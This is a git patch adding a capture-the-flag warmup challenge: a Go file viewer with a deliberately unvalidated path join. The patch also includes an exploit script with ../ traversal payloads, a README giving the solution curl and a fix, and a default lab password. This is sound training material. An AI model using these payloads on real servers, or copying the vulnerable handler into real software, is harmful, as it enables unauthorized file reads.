From 604bd24b0468d7263bce93795e2cee28334ff5ac Mon Sep 17 00:00:00 2001 From: Rayhan Hanaputra Date: Sat, 25 Oct 2025 04:56:33 +0700 Subject: [PATCH] added warmup chall --- receiver/flags/blogpost.txt | 2 +- receiver/flags/cdn.txt | 2 +- receiver/flags/sheesh.txt | 2 +- receiver/flags/warmup.txt | 1 + services/phew/docker-compose.yml | 2 +- services/phew/flag.txt | 2 +- services/sheesh/docker-compose.yml | 2 +- services/warmup/Dockerfile | 76 ++++++++++++++++++++++++++++++ services/warmup/README.md | 73 ++++++++++++++++++++++++++++ services/warmup/docker-compose.yml | 21 +++++++++ services/warmup/exploit/exploit.py | 53 +++++++++++++++++++++ services/warmup/flag.txt | 1 + services/warmup/nginx.conf | 15 ++++++ services/warmup/src/index.html | 60 +++++++++++++++++++++++ services/warmup/src/main.go | 54 +++++++++++++++++++++ 15 files changed, 360 insertions(+), 6 deletions(-) create mode 100644 receiver/flags/warmup.txt create mode 100644 services/warmup/Dockerfile create mode 100644 services/warmup/README.md create mode 100644 services/warmup/docker-compose.yml create mode 100644 services/warmup/exploit/exploit.py create mode 100644 services/warmup/flag.txt create mode 100644 services/warmup/nginx.conf create mode 100644 services/warmup/src/index.html create mode 100644 services/warmup/src/main.go diff --git a/receiver/flags/blogpost.txt b/receiver/flags/blogpost.txt index ecd141d..804b091 100644 --- a/receiver/flags/blogpost.txt +++ b/receiver/flags/blogpost.txt @@ -1 +1 @@ -GEMASTIK{PLACEHOLDER} \ No newline at end of file +GEMASTIK18{PLACEHOLDER} \ No newline at end of file diff --git a/receiver/flags/cdn.txt b/receiver/flags/cdn.txt index ecd141d..804b091 100644 --- a/receiver/flags/cdn.txt +++ b/receiver/flags/cdn.txt @@ -1 +1 @@ -GEMASTIK{PLACEHOLDER} \ No newline at end of file +GEMASTIK18{PLACEHOLDER} \ No newline at end of file diff --git a/receiver/flags/sheesh.txt b/receiver/flags/sheesh.txt index 3fe32e3..804b091 100644 --- a/receiver/flags/sheesh.txt +++ b/receiver/flags/sheesh.txt @@ -1 +1 @@ -GEMASTIK{PLACEHOLDER} +GEMASTIK18{PLACEHOLDER} \ No newline at end of file diff --git a/receiver/flags/warmup.txt b/receiver/flags/warmup.txt new file mode 100644 index 0000000..804b091 --- /dev/null +++ b/receiver/flags/warmup.txt @@ -0,0 +1 @@ +GEMASTIK18{PLACEHOLDER} \ No newline at end of file diff --git a/services/phew/docker-compose.yml b/services/phew/docker-compose.yml index 48b947b..45ccddd 100644 --- a/services/phew/docker-compose.yml +++ b/services/phew/docker-compose.yml @@ -13,4 +13,4 @@ services: - "13000:8000" - "13022:22" environment: - - FLAG=GEMASTIK{local_flag} + - FLAG=GEMASTIK18{local_flag} diff --git a/services/phew/flag.txt b/services/phew/flag.txt index 3511f21..24a4b33 100644 --- a/services/phew/flag.txt +++ b/services/phew/flag.txt @@ -1 +1 @@ -GEMASTIK{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA} \ No newline at end of file +GEMASTIK18{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA} \ No newline at end of file diff --git a/services/sheesh/docker-compose.yml b/services/sheesh/docker-compose.yml index e1eb8ca..4a419cf 100644 --- a/services/sheesh/docker-compose.yml +++ b/services/sheesh/docker-compose.yml @@ -13,4 +13,4 @@ services: - "12000:8000" - "12022:22" environment: - - FLAG=GEMASTIK{local_flag} + - FLAG=GEMASTIK18{local_flag} diff --git a/services/warmup/Dockerfile b/services/warmup/Dockerfile new file mode 100644 index 0000000..17d15e0 --- /dev/null +++ b/services/warmup/Dockerfile @@ -0,0 +1,76 @@ +FROM public.ecr.aws/docker/library/golang:1.21-alpine AS builder + +# Build the Go application +WORKDIR /app +COPY src/main.go . +RUN go build -o challenge main.go + +# Final stage +FROM public.ecr.aws/docker/library/ubuntu:20.04 + +ARG PASSWORD + +ENV DEBIAN_FRONTEND=noninteractive + +# Install necessary packages +RUN apt-get update && apt-get install -y nano openssh-server python3 curl netcat-traditional wget sudo nginx golang-go && rm -rf /var/lib/apt/lists/* + +# Create ctfuser and set password +RUN useradd -m -d /home/ctfuser ctfuser && echo ctfuser:${PASSWORD} | chpasswd + +# Configure SSH +RUN echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config && echo "PermitRootLogin no" >> /etc/ssh/sshd_config && echo "AllowUsers ctfuser" >> /etc/ssh/sshd_config && echo "PermitEmptyPasswords no" >> /etc/ssh/sshd_config + +# Generate SSH host keys +RUN ssh-keygen -A +RUN mkdir -p /run/sshd && chmod 755 /run/sshd + +# Create working directories +RUN mkdir -p /opt/files && chmod 755 /opt && chmod 755 /opt/files + +# Copy the built binary from builder stage +COPY --from=builder /app/challenge /opt/challenge +RUN chmod 755 /opt/challenge + +# Copy HTML template +COPY src/index.html /opt/index.html +RUN chmod 644 /opt/index.html + +# Create sample files for the file viewer +RUN echo "Welcome to the File Viewer Challenge!\n\nThis is a simple file viewer application.\nYou can view different files using the /view endpoint.\n\nExample: /view?file=welcome.txt\n\nGood luck finding the flag!" > /opt/files/welcome.txt +RUN echo "File Viewer v1.0\n\nThis application allows you to view text files stored in /opt/files/\n\nAvailable files:\n- welcome.txt\n- info.txt\n- hint.txt" > /opt/files/info.txt +RUN echo "Hint: The flag is hidden somewhere on the system.\nMaybe you can try viewing other files?\nWhat about files outside the /opt/files/ directory?\n\nThink about path traversal..." > /opt/files/hint.txt +RUN chmod 644 /opt/files/*.txt + +# Create flag file +COPY flag.txt /flag.txt +RUN chmod 444 /flag.txt && chown root:root /flag.txt + +# Copy main.go for users to patch +COPY src/main.go /opt/main.go +RUN chown ctfuser:ctfuser /opt/main.go && chmod 644 /opt/main.go + +# Create rebuild script for users +RUN echo '#!/bin/bash' > /opt/rebuild.sh && \ + echo 'echo "Building patched challenge..."' >> /opt/rebuild.sh && \ + echo 'cd /opt' >> /opt/rebuild.sh && \ + echo 'go build -o challenge main.go' >> /opt/rebuild.sh && \ + echo 'chmod 755 /opt/challenge' >> /opt/rebuild.sh && \ + echo 'echo "Restarting challenge..."' >> /opt/rebuild.sh && \ + echo 'pkill -f /opt/challenge' >> /opt/rebuild.sh && \ + echo '/opt/challenge >/var/log/challenge.log 2>&1 &' >> /opt/rebuild.sh && \ + echo 'echo "Challenge rebuilt and restarted!"' >> /opt/rebuild.sh && \ + chmod +x /opt/rebuild.sh && \ + chown ctfuser:ctfuser /opt/rebuild.sh + +# Configure nginx +COPY nginx.conf /etc/nginx/sites-available/warmup +RUN ln -s /etc/nginx/sites-available/warmup /etc/nginx/sites-enabled/warmup && rm -f /etc/nginx/sites-enabled/default && chown root:root /etc/nginx/sites-available/warmup && chmod 644 /etc/nginx/sites-available/warmup + +# Create startup script +RUN echo '#!/bin/bash' > /opt/start.sh && echo 'set -e' >> /opt/start.sh && echo 'service ssh start' >> /opt/start.sh && echo 'nginx -t && service nginx start || echo "Nginx config error"' >> /opt/start.sh && echo '/opt/challenge >/var/log/challenge.log 2>&1 &' >> /opt/start.sh && echo 'echo $! > /opt/challenge.pid' >> /opt/start.sh && echo 'trap "if [ -f /opt/challenge.pid ]; then kill -TERM $(cat /opt/challenge.pid) 2>/dev/null || true; fi; exit 0" SIGTERM SIGINT' >> /opt/start.sh && echo 'tail -f /dev/null' >> /opt/start.sh && chmod +x /opt/start.sh + +EXPOSE 8080 22 + +USER root +CMD ["/opt/start.sh"] diff --git a/services/warmup/README.md b/services/warmup/README.md new file mode 100644 index 0000000..5727c65 --- /dev/null +++ b/services/warmup/README.md @@ -0,0 +1,73 @@ +# File Viewer Challenge + +## Description +A simple web challenge featuring a Local File Inclusion (LFI) vulnerability. Players need to exploit the file viewer functionality to read the flag located at `/flag.txt`. + +## Challenge Overview +- Simple file viewer web application +- Players can view sample files through the `/view` endpoint +- The file parameter is vulnerable to path traversal +- The flag is located at `/flag.txt` +- **No flag validation** - players must exploit the vulnerability to read the flag + +## Endpoints +- `/` - Main page with file viewer interface +- `/view?file=` - View files (vulnerable to LFI) + +## Files Structure +- `/opt/challenge` - The compiled Go binary +- `/opt/index.html` - HTML template +- `/opt/main.go` - Source code (can be modified) +- `/opt/rebuild.sh` - Script to rebuild the challenge after patching +- `/opt/files/welcome.txt` - Sample file +- `/opt/files/info.txt` - Info about the file viewer +- `/opt/files/hint.txt` - Hint for the challenge +- `/flag.txt` - The flag file (target, read-only) + +## Vulnerability +The `/view` endpoint uses `filepath.Join()` to concatenate the base directory with user input: + +```go +filePath := filepath.Join("/opt/files/", filename) +``` + +This is vulnerable to path traversal attacks. Players can use `../` sequences to escape the `/opt/files/` directory and read arbitrary files on the system. + +## Solution +1. Access the file viewer at http://localhost:14000 +2. Notice the `/view?file=welcome.txt` endpoint +3. Try path traversal: `/view?file=../flag.txt` (won't work - resolves to `/opt/flag.txt`) +4. Use more `../` sequences: `/view?file=../../flag.txt` +5. This resolves to `/opt/files/../../flag.txt` = `/flag.txt` +6. Read the flag + +## Example Exploit +```bash +# Read the flag +curl http://localhost:14000/view?file=../../flag.txt +``` + +## Deployment +```bash +docker-compose up --build -d +``` + +## Access +- Web: http://localhost:14000 +- SSH: ssh ctfuser@localhost -p 14022 (password: warmup123) + +## Patching the Challenge +Players can patch the vulnerability by: +1. SSH into the container +2. Edit `/opt/main.go` to fix the LFI vulnerability +3. Run `/opt/rebuild.sh` to rebuild and restart the challenge +4. Test that the vulnerability is fixed + +Example fix - add path validation: +```go +// Prevent path traversal +if strings.Contains(filename, "..") { + http.Error(w, "Invalid file path", http.StatusBadRequest) + return +} +``` diff --git a/services/warmup/docker-compose.yml b/services/warmup/docker-compose.yml new file mode 100644 index 0000000..b6d6c08 --- /dev/null +++ b/services/warmup/docker-compose.yml @@ -0,0 +1,21 @@ +services: + warmup: + container_name: warmup_container + hostname: warmup + restart: always + build: + context: . + args: + - PASSWORD=${PASSWORD_10000:-warmup123} + volumes: + - ../../receiver/flags/warmup.txt:/flag.txt:ro + - ../../utils/bashrc:/root/.bashrc:ro + - ../../utils/preexec.sh:/root/.preexec.sh:ro + ports: + - "14000:8080" + - "14022:22" + environment: + - PASSWORD=${PASSWORD_10000:-warmup123} + - FLAG_FILE=/flag.txt + extra_hosts: + - "host.docker.internal:host-gateway" \ No newline at end of file diff --git a/services/warmup/exploit/exploit.py b/services/warmup/exploit/exploit.py new file mode 100644 index 0000000..3a12d24 --- /dev/null +++ b/services/warmup/exploit/exploit.py @@ -0,0 +1,53 @@ +#!/usr/bin/env python3 +""" +Exploit for Mango LFI Challenge +Demonstrates Local File Inclusion vulnerability to read /flag.txt +""" + +import requests +import sys + +def exploit_lfi(base_url): + """ + Exploit the LFI vulnerability to read /flag.txt + """ + print("[*] Mango LFI Exploit") + print(f"[*] Target: {base_url}") + + # Try to read the flag using path traversal + payloads = [ + "../flag.txt", + "../../flag.txt", + "../../../flag.txt", + "../../../../flag.txt" + ] + + for payload in payloads: + print(f"\n[*] Trying payload: {payload}") + try: + response = requests.get(f"{base_url}/view", params={"file": payload}) + + if response.status_code == 200 and "GEMASTIK18{" in response.text: + print(f"[+] SUCCESS! Flag found:") + print(f"[+] {response.text.strip()}") + + # Verify the flag + flag = response.text.strip() + verify_response = requests.post(f"{base_url}/check", data={"flag": flag}) + if "Correct" in verify_response.text: + print("[+] Flag verified successfully!") + return True + elif response.status_code == 200: + print(f"[!] File read successful, but no flag found:") + print(f" {response.text[:100]}...") + else: + print(f"[-] Failed with status code: {response.status_code}") + except Exception as e: + print(f"[-] Error: {e}") + + print("\n[-] Flag not found with any payload") + return False + +if __name__ == "__main__": + base_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080" + exploit_lfi(base_url) diff --git a/services/warmup/flag.txt b/services/warmup/flag.txt new file mode 100644 index 0000000..804b091 --- /dev/null +++ b/services/warmup/flag.txt @@ -0,0 +1 @@ +GEMASTIK18{PLACEHOLDER} \ No newline at end of file diff --git a/services/warmup/nginx.conf b/services/warmup/nginx.conf new file mode 100644 index 0000000..c7a320a --- /dev/null +++ b/services/warmup/nginx.conf @@ -0,0 +1,15 @@ +server { + listen 8080; + server_name _; + + access_log /var/log/nginx/warmup_access.log; + error_log /var/log/nginx/warmup_error.log; + + location / { + proxy_pass http://127.0.0.1:8081; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + } +} \ No newline at end of file diff --git a/services/warmup/src/index.html b/services/warmup/src/index.html new file mode 100644 index 0000000..1020c6d --- /dev/null +++ b/services/warmup/src/index.html @@ -0,0 +1,60 @@ + + + + + + File Viewer + + + +
+

File Viewer

+

Simple file viewing application

+
+
Available Files
+

View files from the collection

+ +
+
+ + diff --git a/services/warmup/src/main.go b/services/warmup/src/main.go new file mode 100644 index 0000000..7276ca7 --- /dev/null +++ b/services/warmup/src/main.go @@ -0,0 +1,54 @@ +package main + +import ( +"fmt" +"io/ioutil" +"log" +"net/http" +"path/filepath" +) + +// Vulnerable file viewing handler - LFI vulnerability +func viewHandler(w http.ResponseWriter, r *http.Request) { +// Get the file parameter +filename := r.URL.Query().Get("file") + +// Default file if none specified +if filename == "" { +filename = "welcome.txt" +} + +// Vulnerable: directly concatenating user input without proper validation +// This allows path traversal attacks +filePath := filepath.Join("/opt/files/", filename) + +// Read the file +content, err := ioutil.ReadFile(filePath) +if err != nil { +http.Error(w, "File not found or cannot be read", http.StatusNotFound) +return +} + +w.Header().Set("Content-Type", "text/plain") +w.Write(content) +} + +func homeHandler(w http.ResponseWriter, r *http.Request) { +// Serve the HTML template +htmlContent, err := ioutil.ReadFile("/opt/index.html") +if err != nil { +http.Error(w, "Template not found", http.StatusNotFound) +return +} + +w.Header().Set("Content-Type", "text/html") +w.Write(htmlContent) +} + +func main() { +http.HandleFunc("/", homeHandler) +http.HandleFunc("/view", viewHandler) + +fmt.Println("Starting server on :8081") +log.Fatal(http.ListenAndServe(":8081", nil)) +}